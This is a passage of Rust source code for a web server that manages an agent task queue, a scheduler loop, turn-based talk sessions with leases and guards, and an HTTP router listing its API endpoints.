922    fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
923        let mut index = self
924            .monitor
925            .queue_index
926            .lock()
927            .unwrap_or_else(PoisonError::into_inner);
928        let entries = match std::fs::read_dir(self.queue.root()) {
929            Ok(entries) => entries,
930            Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
931                index.records.clear();
932                return Ok(Vec::new());
933            }
934            Err(e) => return Err(anyhow::Error::from(e).into()),
935        };
936        let mut seen = HashSet::new();
937        for entry in entries {
938            let path = entry.map_err(anyhow::Error::from)?.path();
939            if path.extension().is_none_or(|ext| ext != "json") {
940                continue;
941            }
942            let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
943                continue;
944            };
945            let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
946            seen.insert(id.to_owned());
947            // On platforms without inode/ctime, re-read rather than trust a
948            // same-size replacement with a preserved modification timestamp.
949            if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
950                let Ok(task) = self.queue.get(id) else {
951                    // Isolate an unreadable record, as Queue::list does. Keep
952                    // its last known relationship so a lookup of THAT task
953                    // still fails on the authoritative read below. Never let
954                    // unrelated corruption disable every run and conversation.
955                    // Counts must not present its previous status as current.
956                    if let Some((_, record)) = index.records.get_mut(id) {
957                        Arc::make_mut(record).status = None;
958                    }
959                    continue;
960                };
961                #[cfg(test)]
962                {
963                    index.reparsed += 1;
964                }
965                if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
966                    return Err(ApiError::conflict("Queue changed during read; retry"));
967                }
968                index
969                    .records
970                    .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
971            }
972        }
973        index.records.retain(|id, _| seen.contains(id));
974        let mut tasks: Vec<_> = index
975            .records
976            .values()
977            .map(|(_, task)| task.clone())
978            .collect();
979        tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
980        Ok(tasks)
981    }
982
983    fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
984        let Some(record) = self
985            .indexed_tasks()?
986            .into_iter()
987            .find(|task| task.runs.iter().any(|id| id == run_id))
988        else {
989            return Ok(None);
990        };
991        let task = self.queue.get(&record.id)?;
992        if !task.runs.iter().any(|id| id == run_id) {
993            return Err(ApiError::conflict("Task relationship changed; retry"));
994        }
995        Ok(Some(task))
996    }
997
998    fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
999        self.indexed_tasks()?
1000            .into_iter()
1001            .filter(|task| {
1002                task.chat.as_deref() == Some(talk_id)
1003                    || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1004            })
1005            .map(|record| {
1006                let task = self.queue.get(&record.id)?;
1007                if task.chat.as_deref() != Some(talk_id)
1008                    && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1009                {
1010                    return Err(ApiError::conflict("Task relationship changed; retry"));
1011                }
1012                Ok(task)
1013            })
1014            .collect()
1015    }
1016
1017    /// The operator's own state: `<home>/queue`, `<home>/questions`,
1018    /// `<home>/talks`, `<home>/runs`.
1019    pub fn open(repo: PathBuf) -> Self {
1020        Self::new(
1021            Queue::open(),
1022            Questions::open(),
1023            Talks::open(),
1024            run::runs_root(),
1025            run::home(),
1026            repo,
1027        )
1028    }
1029
1030    /// The merge mode the loop should use, as the command line gave it.
1031    ///
1032    /// A builder step rather than a seventh parameter on [`Ui::new`], because
1033    /// the override is a property of how this process was invoked and not of
1034    /// where its state lives - which is all the tests that build a `Ui` by
1035    /// hand are saying.
1036    #[must_use]
1037    pub fn with_merge(mut self, merge: Option<String>) -> Self {
1038        self.merge = merge;
1039        self
1040    }
1041
1042    /// The machine-config file the settings screen writes, when it is not
1043    /// [`Config::machine_layer`] (tests).
1044    #[cfg(test)]
1045    #[must_use]
1046    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
1047        self.machine_config = path;
1048        self
1049    }
1050
1051    /// Where the runs' worktrees live, when it is not the default.
1052    ///
1053    /// The health view sizes this directory, so a test that leaves it at the
1054    /// default would be measuring the operator's own machine.
1055    #[must_use]
1056    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
1057        self.worktrees_root = root;
1058        self
1059    }
1060
1061    /// Point the loop at something other than [`launch_daemon`].
1062    ///
1063    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
1064    /// this crate may start the real loop.
1065    #[cfg(test)]
1066    #[must_use]
1067    fn with_launch(mut self, launch: Launch) -> Self {
1068        self.launch = launch;
1069        self
1070    }
1071
1072    /// Install a [`BusyQueueGate`] for the next pass through the busy
1073    /// branch's queued-draft write, replacing any earlier one.
1074    ///
1075    /// A setter on `&self` rather than a `with_*` builder consumed once,
1076    /// because a test that drives the busy branch more than once (as
1077    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
1078    /// to build confidence the interleaving is handled deterministically and
1079    /// not just on a lucky run) needs a fresh channel pair each time, on the
1080    /// one `Ui` it already built its temp directories around.
1081    #[cfg(test)]
1082    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
1083        *self
1084            .busy_queue_gate
1085            .lock()
1086            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
1087    }
1088
1089    /// Prevent a restart from ending an already accepted send between its
1090    /// durable transcript write and detached worker reservation.
1091    fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
1092        let guard = Arc::clone(&self.admissions)
1093            .try_read_owned()
1094            .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
1095        if *guard {
1096            return Err(ApiError::conflict(
1097                "web restart in progress; retry this message",
1098            ));
1099        }
1100        Ok(guard)
1101    }
1102
1103    /// Start a scheduler that outlives this web process.
1104    async fn start_detached_loop(&self) -> ApiResult<()> {
1105        if self
1106            .upgrade_spawned
1107            .load(std::sync::atomic::Ordering::SeqCst)
1108        {
1109            return Err(ApiError::conflict("an upgrade is in progress"));
1110        }
1111        let reading = daemon::read_status(&self.home);
1112        if let Some(other) = Foreign::of(reading.as_ref()) {
1113            return Err(ApiError::conflict(format!(
1114                "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
1115                other.who()
1116            )));
1117        }
1118        let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
1119        let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
1120        let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1121            || reading.is_some_and(|reading| {
1122                reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1123            });
1124        if control.is_some() && scheduler_running {
1125            return Err(ApiError::conflict(
1126                "the scheduler is still stopping; retry Start after it has stopped",
1127            ));
1128        }
1129        if !jobs.iter().any(|job| job.kind == "scheduler") {
1130            let available =
1131                crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1132            if available.is_none() {
1133                return Err(ApiError::conflict(
1134                    "the scheduler is still running or stopping; retry after its transition completes",
1135                ));
1136            }
1137            drop(available);
1138        }
1139        let opts = daemon::Opts {
1140            repo: self.repo.clone(),
1141            merge: self.merge.clone(),
1142            worktrees_root: Some(self.worktrees_root.clone()),
1143            ..daemon::Opts::default()
1144        };
1145        daemon::spawn_detached(&self.home, &opts)
1146            .await
1147            .map_err(ApiError::from)?;
1148        let mut state = self.lock_loop();
1149        state.last_error = None;
1150        state.rev += 1;
1151        Ok(())
1152    }
1153
1154    /// Start the loop in this process, or say who already has one.
1155    ///
1156    /// `foreign` is passed in rather than read here so that one request makes
1157    /// one judgement about who owns the loop: reading the status file again
1158    /// inside this function could refuse a start for a daemon the same
1159    /// response then reports as gone.
1160    #[cfg(test)]
1161    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1162        if let Some(other) = foreign {
1163            return Err(ApiError::conflict(format!(
1164                "{} is already running the loop, so this one will not start a \
1165                 second: two loops on one queue race for the same claims and \
1166                 burn the agent quota twice over. Stop it where it was \
1167                 started.",
1168                other.who()
1169            )));
1170        }
1171        let mut state = self.lock_loop();
1172        if self
1173            .upgrade_spawned
1174            .load(std::sync::atomic::Ordering::SeqCst)
1175        {
1176            return Err(ApiError::conflict("an upgrade is in progress"));
1177        }
1178        if state.live.as_ref().is_some_and(Live::alive) {
1179            return Err(ApiError::conflict(format!(
1180                "this magi web process (pid {}) is already running the loop",
1181                std::process::id()
1182            )));
1183        }
1184
1185        let stop = daemon::Stop::new();
1186        // The CLI's own defaults for everything the UI has no opinion about:
1187        // one poll interval and one retry budget, so a loop started from a
1188        // phone behaves exactly like the `magi serve` it replaces.
1189        let opts = daemon::Opts {
1190            repo: self.repo.clone(),
1191            merge: self.merge.clone(),
1192            // Whatever this `Ui` already reports worktree sizes and folds
1193            // against (see `with_worktrees_root`) is what the loop it starts
1194            // must reclaim orphaned worktrees under too - two different
1195            // opinions about where the worktree bay is would leave the
1196            // janitor pass reclaiming a directory nothing else on this
1197            // process is even looking at.
1198            worktrees_root: Some(self.worktrees_root.clone()),
1199            ..daemon::Opts::default()
1200        };
1201        let launch = self.launch;
1202        let looping = Arc::clone(&self.looping);
1203        let handle = tokio::spawn({
1204            let opts = opts.clone();
1205            let stop = stop.clone();
1206            async move {
1207                let failure = match launch(opts, stop).await {
1208                    Ok(()) => None,
1209                    Err(e) => Some(format!("{e:#}")),
1210                };
1211                match &failure {
1212                    Some(why) => tracing::error!("the loop stopped: {why}"),
1213                    None => tracing::info!("the loop stopped"),
1214                }
1215                // Recorded by the task itself rather than reaped by whichever
1216                // request happens next, so `loop_rev` moves the moment the
1217                // loop ends and a phone with the change stream open learns
1218                // that it did. Clearing `live` drops this task's own handle,
1219                // which only detaches it, and is the last thing it does.
1220                let mut state = lock_or_recover(&looping);
1221                state.live = None;
1222                state.last_error = failure;
1223                state.rev += 1;
1224            }
1225        });
1226        tracing::info!(
1227            "the loop is now running in this process: repo {}, merge {}",
1228            opts.repo.display(),
1229            opts.merge.as_deref().unwrap_or("as the config says")
1230        );
1231        state.live = Some(Live { stop, handle, opts });
1232        // A fresh start is not the place to keep showing why the last one
1233        // died; the operator has read it and pressed the button anyway.
1234        state.last_error = None;
1235        state.rev += 1;
1236        Ok(())
1237    }
1238
1239    /// Ask the loop to stop, without waiting for it to get there.
1240    ///
1241    /// Idempotent: a second tap on stop is not an error, because the first one
1242    /// leaves the loop running for as long as the run in flight takes and the
1243    /// operator has no way to tell a slow stop from a lost one.
1244    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1245        if let Some(other) = foreign {
1246            return Err(ApiError::conflict(format!(
1247                "the loop belongs to {}, and this process cannot stop it - \
1248                 stop it where it was started. A button that silently did \
1249                 nothing would be worse than this refusal.",
1250                other.who()
1251            )));
1252        }
1253        #[cfg(not(test))]
1254        {
1255            daemon::request_control(
1256                &self.home,
1257                if park {
1258                    crate::worker::Control::Park
1259                } else {
1260                    crate::worker::Control::Stop
1261                },
1262            )
1263            .map_err(ApiError::from)?;
1264            self.lock_loop().rev += 1;
1265            Ok(())
1266        }
1267        #[cfg(test)]
1268        {
1269            let mut state = self.lock_loop();
1270            let Some(live) = state.live.as_ref() else {
1271                return Ok(());
1272            };
1273            // A park upgrades a stop that has already been asked for: the
1274            // operator who tapped "stop" and then realised the run has an hour
1275            // left must not have to restart the loop to change their mind.
1276            if live.stop.stopped() && (!park || live.stop.parking()) {
1277                return Ok(());
1278            }
1279            if park {
1280                live.stop.park(crate::run::ParkCause::Operator);
1281                tracing::info!(
1282                    "the loop was asked to park; the run stops at its next node boundary"
1283                );
1284            } else {
1285                live.stop.stop();
1286                tracing::info!("the loop was asked to stop; a run in flight is finished first");
1287            }
1288            state.rev += 1;
1289            Ok(())
1290        }
1291    }
1292
1293    /// The loop as both `/api/loop` and `/api/health` report it.
1294    ///
1295    /// `reading` is the caller's single read of `<home>/daemon.json`, because
1296    /// health answers with this view *and* the daemon object beside it: one
1297    /// read per response is what stops a single answer naming a foreign owner
1298    /// in one field and calling the loop free in the other.
1299    #[cfg(not(test))]
1300    fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1301        let jobs = crate::worker::active(&self.home).map_err(|error| {
1302            ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1303        })?;
1304        Ok(self.runtime_loop_view(reading, &jobs))
1305    }
1306
1307    #[cfg(test)]
1308    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1309        let state = self.lock_loop();
1310        // A loop that panicked never recorded its own end, so the handle -
1311        // not the presence of the record - is what "running" means.
1312        let live = state.live.as_ref().filter(|live| live.alive());
1313        LoopView {
1314            running: live.is_some(),
1315            stopping: live.is_some_and(|live| live.stop.finishing()),
1316            parking: live.is_some_and(|live| live.stop.parking()),
1317            owned: live.is_some(),
1318            repo: live
1319                .map_or(&self.repo, |live| &live.opts.repo)
1320                .display()
1321                .to_string(),
1322            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1323            last_error: state.last_error.clone(),
1324            daemon: DaemonView::of(reading),
1325        }
1326    }
1327
1328    /// Reuse one active-job snapshot for both ownership and public health.
1329    fn runtime_loop_view(
1330        &self,
1331        reading: Option<daemon::Reading>,
1332        jobs: &[crate::worker::Job],
1333    ) -> LoopView {
1334        let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1335        let reporting = reading
1336            .as_ref()
1337            .is_some_and(|r| r.running(Timestamp::now()));
1338        let managed = scheduler.is_some()
1339            || (reporting
1340                && reading
1341                    .as_ref()
1342                    .is_some_and(|r| r.worker_protocol == Some(1)));
1343        let control = crate::worker::control(&self.home, "scheduler")
1344            .ok()
1345            .flatten();
1346        // Foreground serve also persists its options, so ownership never
1347        // causes us to substitute the web process's repository for its own.
1348        let persisted = if managed && scheduler.is_none() {
1349            std::fs::read(self.home.join("scheduler-options.json"))
1350                .ok()
1351                .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1352        } else {
1353            None
1354        };
1355        let repo = scheduler
1356            .and_then(|job| job.payload.get("repo"))
1357            .and_then(serde_json::Value::as_str)
1358            .map(str::to_owned)
1359            .or_else(|| {
1360                persisted
1361                    .as_ref()
1362                    .map(|opts| opts.repo.display().to_string())
1363            })
1364            .unwrap_or_else(|| self.repo.display().to_string());
1365        let merge = match scheduler {
1366            Some(job) => job
1367                .payload
1368                .get("merge")
1369                .and_then(serde_json::Value::as_str)
1370                .map(str::to_owned),
1371            None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1372        };
1373        LoopView {
1374            running: managed || reporting,
1375            stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1376            parking: matches!(control, Some(crate::worker::Control::Park))
1377                && jobs.iter().any(|job| job.kind == "task"),
1378            owned: managed,
1379            repo,
1380            merge,
1381            last_error: self.lock_loop().last_error.clone(),
1382            daemon: DaemonView::of(reading),
1383        }
1384    }
1385
1386    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
1387    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1388        lock_or_recover(&self.looping)
1389    }
1390
1391    /// In-flight admission, detached startup, or a cross-process turn lease.
1392    fn is_thinking(&self, id: &str) -> bool {
1393        self.talk_turns
1394            .lock()
1395            .is_ok_and(|turns| turns.live.contains(id))
1396            // Another process (the CLI) can hold the turn through the
1397            // on-disk lease.
1398            || self.talks.turn_held(id)
1399            || crate::chat_worker::turn_worker_active(&self.talks, id)
1400    }
1401
1402    /// 表示専用の観測。ローカルの受付処理やワーカーストアの書き込みを待たない。
1403    /// 送信・アップグレードなどの判断には [`Ui::is_thinking`] を使う。
1404    fn is_thinking_observed(&self, id: &str) -> bool {
1405        self.talk_turns.try_lock().map_or_else(
1406            // Admission may itself be waiting on the worker store. Display a
1407            // conservative busy state rather than waiting behind that writer.
1408            |error| matches!(error, std::sync::TryLockError::WouldBlock),
1409            |turns| turns.live.contains(id),
1410        )
1411            // Another process (the CLI) can hold the turn through the
1412            // on-disk lease.
1413            || self.talks.turn_held(id)
1414            || crate::consult::turn_worker_observed(&self.talks, id)
1415    }
1416
1417    /// Claim the right to run one turn in a talk, or report that it is busy.
1418    ///
1419    /// A talk is strictly turn-based: the agent is resumed with the
1420    /// conversation it already has, so two turns running at once would resume
1421    /// the same session twice and append their answers in whatever order the
1422    /// two CLIs finished in. The operator would come back to a transcript
1423    /// with two half-turns interleaved, which is unreadable and, worse,
1424    /// unfixable - there is no undo for a persisted turn.
1425    ///
1426    /// A busy result is queued as a durable draft by [`talk_say`], rather than
1427    /// starting a second CLI invocation for the same session.
1428    ///
1429    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
1430    /// taken to test-and-insert and released before the agent is spawned. The
1431    /// returned guard removes the id on drop, which is what makes a panicking
1432    /// handler or a phone that walks out of range leave the talk usable - axum
1433    /// drops the handler future when the client disconnects, and without the
1434    /// guard that talk would be wedged until the server restarted.
1435    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1436        self.claim_talk_turn(id, false)
1437    }
1438
1439    /// Claim a turn after durably queueing a draft, or notify its current
1440    /// owner that a drainer must recheck before it releases the slot.
1441    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1442        self.claim_talk_turn(id, true)
1443    }
1444
1445    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1446        let mut live = self
1447            .talk_turns
1448            .lock()
1449            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1450        if crate::chat_worker::turn_worker_active(&self.talks, id) {
1451            if queued {
1452                *live.queued.entry(id.to_owned()).or_default() += 1;
1453            }
1454            return Ok(None);
1455        }
1456        let inserted = live.live.insert(id.to_owned());
1457        // The on-disk lease is the cross-process half of the gate. Taken
1458        // second, and undone if lost, so `live` never claims a turn the lease
1459        // refused.
1460        let lease = if inserted {
1461            match self.talks.claim_turn(id) {
1462                Ok(Some(lease)) => Some(lease),
1463                Ok(None) => {
1464                    live.live.remove(id);
1465                    None
1466                }
1467                Err(e) => {
1468                    live.live.remove(id);
1469                    return Err(ApiError::from(e));
1470                }
1471            }
1472        } else {
1473            None
1474        };
1475        if lease.is_none() {
1476            if queued {
1477                // A queued write has landed before this busy check.
1478                // `drain_loop` uses this generation to recheck after its
1479                // off-thread disk read, so it cannot release a turn between
1480                // this check and the write.
1481                *live.queued.entry(id.to_owned()).or_default() += 1;
1482            }
1483            return Ok(None);
1484        }
1485        Ok(Some(TalkTurnGuard {
1486            talk: id.to_owned(),
1487            turns: Arc::clone(&self.talk_turns),
1488            released: false,
1489            lease,
1490        }))
1491    }
1492
1493    /// Decide whether a free talk may start a new immediate turn while its
1494    /// claim lock is held. A persisted draft without an owner is recovery
1495    /// state, not a busy turn: two simultaneous `/say` requests must both
1496    /// leave it untouched rather than one of them appending to it.
1497    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1498        let mut live = self
1499            .talk_turns
1500            .lock()
1501            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1502        // A detached worker owns its turn across web process replacement.
1503        if live.live.contains(id) || crate::chat_worker::turn_worker_active(&self.talks, id) {
1504            return Ok(TalkTurnStart::Busy);
1505        }
1506        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1507            return Ok(TalkTurnStart::Foreign);
1508        };
1509        // A refused `Pending` below drops the lease again.
1510        let talk = self.talks.get(id).map_err(ApiError::from)?;
1511        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1512            return Ok(TalkTurnStart::Pending);
1513        }
1514        live.live.insert(id.to_owned());
1515        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1516            talk: id.to_owned(),
1517            turns: Arc::clone(&self.talk_turns),
1518            released: false,
1519            lease: Some(lease),
1520        }))
1521    }
1522
1523    fn queued_generation(&self, id: &str) -> u64 {
1524        let live = self
1525            .talk_turns
1526            .lock()
1527            .unwrap_or_else(PoisonError::into_inner);
1528        live.queued.get(id).copied().unwrap_or(0)
1529    }
1530
1531    /// Automatic updates begin only when execution and chat workers are idle.
1532    /// A worker racing this snapshot survives the restart on its own executable.
1533    fn auto_upgrade_busy(&self) -> bool {
1534        #[cfg(test)]
1535        if self
1536            .lock_loop()
1537            .live
1538            .as_ref()
1539            .is_some_and(|live| live.stop.busy_now())
1540        {
1541            return true;
1542        }
1543        crate::worker::active(&self.home)
1544            .map_or(true, |jobs| jobs.iter().any(|job| job.kind != "scheduler"))
1545            || !daemon::current_work(&self.home, Timestamp::now()).is_empty()
1546            || !self
1547                .resuming
1548                .lock()
1549                .unwrap_or_else(PoisonError::into_inner)
1550                .is_empty()
1551            || !self
1552                .talk_turns
1553                .lock()
1554                .unwrap_or_else(PoisonError::into_inner)
1555                .live
1556                .is_empty()
1557            || self
1558                .talks
1559                .list()
1560                .iter()
1561                .any(|talk| self.is_thinking(&talk.id))
1562    }
1563
1564    /// Claim a run for a resume, on the same reasoning as
1565    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
1566    /// disconnected phone does not wedge the run until the server restarts.
1567    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1568        let mut live = self
1569            .resuming
1570            .lock()
1571            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1572        if self
1573            .upgrade_spawned
1574            .load(std::sync::atomic::Ordering::SeqCst)
1575        {
1576            return Err(ApiError::conflict("an upgrade is in progress"));
1577        }
1578        if !live.insert(id.to_owned()) {
1579            return Err(ApiError::conflict(format!(
1580                "run {id} is already being resumed"
1581            )));
1582        }
1583        Ok(ResumeGuard {
1584            run: id.to_owned(),
1585            resuming: Arc::clone(&self.resuming),
1586        })
1587    }
1588
1589    /// The router, with this state baked in.
1590    ///
1591    /// The three front-end files get one explicit route each rather than a
1592    /// path parameter, so there is no traversal surface to get wrong: the set
1593    /// of servable paths is the set written here. The asset route below is the
1594    /// one exception and the only place in this server where a client names a
1595    /// file; it is why [`valid_asset_name`] is checked before a path is built.
1596    pub fn router(self) -> Router {
1597        Arc::new(self).shared_router()
1598    }
1599
1600    fn shared_router(self: Arc<Self>) -> Router {
1601        Router::new()
1602            .route("/", get(index))
1603            .route("/app.css", get(app_css))
1604            .route("/app.js", get(app_js))
1605            .route("/api/health", get(health))
1606            .route("/api/references", post(id_links::resolve_text))
1607            .route("/api/loop", get(loop_get).post(loop_post))
1608            .route("/api/upgrade", post(upgrade_post))
1609            .route("/api/runs", get(runs_list))
1610            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1611            .route("/api/runs/{id}/progress", get(run_progress))
1612            .route("/api/runs/{id}/core", get(run_core))
1613            .route("/api/runs/{id}/report", get(run_report))
1614            .route("/api/runs/{id}/report.json", get(run_report_json))
1615            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1616            .route("/api/runs/{id}/seat-evidence", get(run_seat_evidence))
1617            .route("/api/runs/{id}/seat-evidence/{head}", get(run_seat_diff))
1618            .route("/api/runs/{id}/fold", post(run_fold))
1619            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1620            .route("/api/runs/{id}/resume", post(run_resume))
1621            .route("/api/queue", get(queue_list))
1622            .route("/api/queue/page", get(queue_page))
1623            .route("/api/search", get(search_get))
1624            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1625            .route("/api/queue/{id}/core", get(task_core))
1626            .route("/api/stats", get(stats_get))
1627            .route("/api/stats/queue", get(stats_queue))
1628            .route("/api/repos", get(repos_list))
1629            .route("/api/settings", get(settings_get))
1630            .route("/api/settings/roles", put(settings_put_roles))
1631            .route("/api/queue/{id}/hold", post(queue_hold))
1632            .route("/api/queue/{id}/reassign", post(queue_reassign))
1633            .route("/api/queue/{id}/release", post(queue_release))
1634            .route("/api/queue/{id}/priority", post(queue_priority))
1635            .route("/api/queue/{id}/urgent", post(queue_urgent))
1636            .route("/api/queue/{id}/implementers", post(queue_implementers))
1637            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1638            .route("/api/queue/{id}/edit", post(queue_edit))
1639            .route("/api/queue/{id}/done", post(queue_done))
1640            .route("/api/decisions", get(decisions_list))
1641            .route("/api/decisions/{id}", get(decision_get))
1642            .route("/api/questions", get(questions_list))
1643            .route("/api/questions/core", get(questions_core))
1644            .route("/api/questions/origins", get(question_origins))
1645            .route("/api/questions/{id}/answer", post(question_answer))
1646            .route("/api/questions/{id}/say", post(question_say))
1647            .route("/api/questions/{id}/consult", post(question_consult))
1648            .route("/api/questions/{id}/panel", get(question_panel))
1649            // The same asset, reachable from inside the panel by its bare
1650            // filename. A document served at `.../panel` resolves `shot.png`
1651            // to `.../shot.png`, which is not the asset route, so a panel
1652            // written the way its author was told to write it showed broken
1653            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
1654            // it - deliberately - so the fix is that the panel's own URL ends
1655            // in a filename and its siblings are the assets.
1656            .route("/api/questions/{id}/panel/index.html", get(question_panel))
1657            .route("/api/questions/{id}/panel/{name}", get(question_asset))
1658            .route("/api/questions/{id}/asset/{name}", get(question_asset))
1659            .route("/api/notifications", get(notifications_list))
1660            .route("/api/notifications/read-all", post(notifications_read_all))
1661            .route("/api/notifications/{id}/read", post(notification_read))
1662            .route(
1663                "/api/notifications/{id}/dismiss",
1664                post(notification_dismiss),
1665            )
1666            .route("/api/talks", get(talks_list).post(talk_post))
1667            .route("/api/talks/page", get(talks_page))
1668            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1669            .route("/api/talks/{id}/core", get(talk_core))
1670            .route("/api/talks/{id}/sections", get(talk_sections))
1671            .route("/api/talks/{id}/say", post(talk_say))
1672            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1673            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1674            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1675            .route("/api/talks/{id}/agent", post(talk_agent))
1676            .route("/api/talks/{id}/persona", post(talk_persona))
1677            .route("/api/talks/{id}/implementers", post(talk_implementers))
1678            .route("/api/talks/{id}/close", post(talk_close))
1679            .route("/api/talks/{id}/reopen", post(talk_reopen))
1680            // `DefaultBodyLimit` is raised only on this one route - every
1681            // other route on this server answers in a few kilobytes, and
1682            // widening the crate-wide default for all of them just because
1683            // one accepts a picture would let any other handler be handed
1684            // a multi-megabyte body it never expects.
1685            .route(
1686                "/api/talks/{id}/attachments",
1687                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1688            )
1689            .route(
1690                "/api/talks/{id}/attachments/{att}",
1691                get(talk_attachment_get),
1692            )
1693            .route("/api/talks/{id}/avatar", get(talk_avatar))
1694            .route("/avatars/operator.svg", get(operator_avatar))
1695            .route(
1696                "/api/avatar-settings",
1697                get(avatar_settings_get)
1698                    .put(avatar_settings_put)
1699                    .delete(avatar_settings_delete),
1700            )
1701            .route("/avatars/persona", get(settings_persona_avatar))
1702            .route("/avatars/magi", get(magi_avatar))
1703            .route(
1704                "/api/magi-icon",
1705                get(magi_icon_get)
1706                    .put(magi_icon_put)
1707                    .delete(magi_icon_delete),
1708            )
1709            .route("/api/events", get(events))
1710            .with_state(self)
1711    }
1712}
1713
1714/// One talk's turn slot, released on drop.
1715///
1716/// A guard rather than a matching `remove` at the end of the handler, because
1717/// the handler has several early returns and one `await` that can be cancelled
1718/// out from under it. A leaked id is a talk nobody can talk to again.
1719#[derive(Debug)]
1720struct TalkTurnGuard {
1721    talk: String,
1722    turns: Arc<Mutex<TalkTurns>>,
1723    released: bool,
1724    /// The cross-process half of the slot; dropped with the guard.
1725    lease: Option<crate::talk::TurnLease>,
1726}
1727
1728/// In-memory turn ownership plus the queue generation observed by a drainer.
1729///
1730/// The generation changes only after a durable queued draft is written and its
1731/// caller finds the turn busy. That lets the loop run filesystem work outside
1732/// this mutex while still making the final empty-check/release atomic with a
1733/// concurrent queue handoff.
1734#[derive(Debug, Default)]
1735struct TalkTurns {
1736    live: HashSet<String>,
1737    queued: HashMap<String, u64>,
1738}
1739
1740/// The atomic initial-state decision made by
1741/// [`Ui::begin_talk_turn_unless_pending`].
1742enum TalkTurnStart {
1743    Claimed(TalkTurnGuard),
1744    Busy,
1745    /// Another process holds the turn lease. Unlike `Busy` there is no local
1746    /// drain loop that would answer a queued draft, so the caller refuses.
1747    Foreign,
1748    Pending,
1749}
1750
1751impl TalkTurnGuard {
1752    #[cfg(test)]
1753    /// Does this guard still own the on-disk lease? A transient failure to
1754    /// check counts as owning: the next beat decides. A guard that lost it
1755    /// must not start another turn on the same session.
1756    fn owns(&self) -> bool {
1757        self.lease
1758            .as_ref()
1759            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1760    }
1761
1762    #[cfg(test)]
1763    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1764    /// than the lease's TTL still reads as held to other processes.
1765    async fn respond(
1766        &self,
1767        talk: &mut Talk,
1768        talks: &Talks,
1769        cfg: &Config,
1770        text: &str,
1771    ) -> anyhow::Result<()> {
1772        let lease = self
1773            .lease
1774            .as_ref()
1775            .context("the turn guard no longer holds its lease")?;
1776        talk::respond(lease, talk, talks, cfg, text).await
1777    }
1778
1779    /// Release while the caller already holds the claim mutex, closing the
1780    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1781    fn release(mut self, live: &mut TalkTurns) {
1782        // The on-disk lease goes first: while `live` still names the talk, no
1783        // local claim can start, so nobody observes the slot free but the
1784        // lease held.
1785        self.lease = None;
1786        live.live.remove(&self.talk);
1787        live.queued.remove(&self.talk);
1788        self.released = true;
1789    }
1790}
1791
1792impl Drop for TalkTurnGuard {
1793    fn drop(&mut self) {
1794        if self.released {
1795            return;
1796        }
1797        // Lease first, then the in-process slot (see `release`).
